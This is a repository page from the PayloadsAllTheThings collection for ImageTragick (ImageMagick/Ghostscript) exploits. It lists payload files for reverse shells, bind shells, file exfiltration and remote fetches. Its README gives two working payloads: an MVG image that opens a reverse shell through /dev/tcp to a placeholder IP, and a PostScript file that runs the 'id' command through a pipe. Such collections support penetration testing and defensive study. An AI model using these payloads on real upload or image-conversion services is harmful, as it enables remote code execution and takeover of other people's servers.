PayloadsAllTheThings/Upload insecure files/CVE Image Tragik
swisskyrepo eac421432a File upload - merging old files 2019-02-15 16:00:50 +01:00
..
README.md File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_imageover_file_exfiltration_pangu_wrapper.jpg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_imageover_file_exfiltration_text_wrapper.jpg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_imageover_reverse_shell_devtcp.jpg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_imageover_wget.gif File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_url_bind_shell_nc.mvg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_url_curl.png File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_url_portscan.jpg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_url_remote_connection.mvg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_url_reverse_shell_bash.mvg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_url_touch.jpg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_xml_reverse_shell_nctraditional.xml File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik2_centos_id.jpg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik2_ubuntu_id.jpg File upload - merging old files 2019-02-15 16:00:50 +01:00
imagetragik2_ubuntu_shell.jpg File upload - merging old files 2019-02-15 16:00:50 +01:00

README.md

Image Tragik 1 & 2

Exploit v1

Simple reverse shell

push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context

Exploit v2

Simple id payload

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

then use convert shellexec.jpeg whatever.gif

Thanks to